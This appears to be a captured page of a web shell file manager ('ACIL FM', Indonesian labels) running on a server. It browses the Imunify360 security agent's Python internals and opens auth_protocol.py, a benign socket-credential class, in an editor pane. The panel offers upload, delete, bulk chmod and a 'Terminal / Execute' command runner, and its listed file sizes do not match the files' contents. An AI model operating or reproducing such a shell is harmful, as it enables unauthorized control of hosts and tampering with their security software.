ACIL FM
Dark
Refresh
Current DIR:
/opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/internals
/
opt
imunify360
venv
lib
python3.11
site-packages
defence360agent
internals
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
__pycache__
-
chmod
Open
Rename
Delete
auth_protocol.py
1.18 MB
chmod
View
DL
Edit
Rename
Delete
cln.py
13.44 MB
chmod
View
DL
Edit
Rename
Delete
deadlock_detecting_lock.py
755 B
chmod
View
DL
Edit
Rename
Delete
global_scope.py
462 B
chmod
View
DL
Edit
Rename
Delete
iaid.py
14.06 MB
chmod
View
DL
Edit
Rename
Delete
lazy_load.py
195 B
chmod
View
DL
Edit
Rename
Delete
logger.py
16.69 MB
chmod
View
DL
Edit
Rename
Delete
logging_protocol.py
1.07 MB
chmod
View
DL
Edit
Rename
Delete
persistent_message.py
3.02 MB
chmod
View
DL
Edit
Rename
Delete
the_sink.py
11.1 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
0 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/internals/auth_protocol.py
import asyncio import socket import logging import struct logger = logging.getLogger(__name__) class UnixSocketAuthProtocol(asyncio.Protocol): """ This protocol uses SO_PEERCRED attribute of unix socket to get authentication data (pid, uid, gid) After connect, this values are stored in object's _pid, _uid, _gid attributes """ # ucred struct format (3 integers) # struct ucred # { # pid_t pid; /* PID of sending process. */ # uid_t uid; /* UID of sending process. */ # gid_t gid; /* GID of sending process. */ # }; # STRUCT_FORMAT = "3i" def connection_made(self, transport): self._transport = transport conn = self._transport.get_extra_info("socket") creds = conn.getsockopt( socket.SOL_SOCKET, socket.SO_PEERCRED, struct.calcsize(self.STRUCT_FORMAT), ) self._pid, self._uid, self._gid = struct.unpack( self.STRUCT_FORMAT, creds ) logger.debug( "New socket connection from pid=%s, uid=%s, gid=%s", self._pid, self._uid, self._gid, )
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply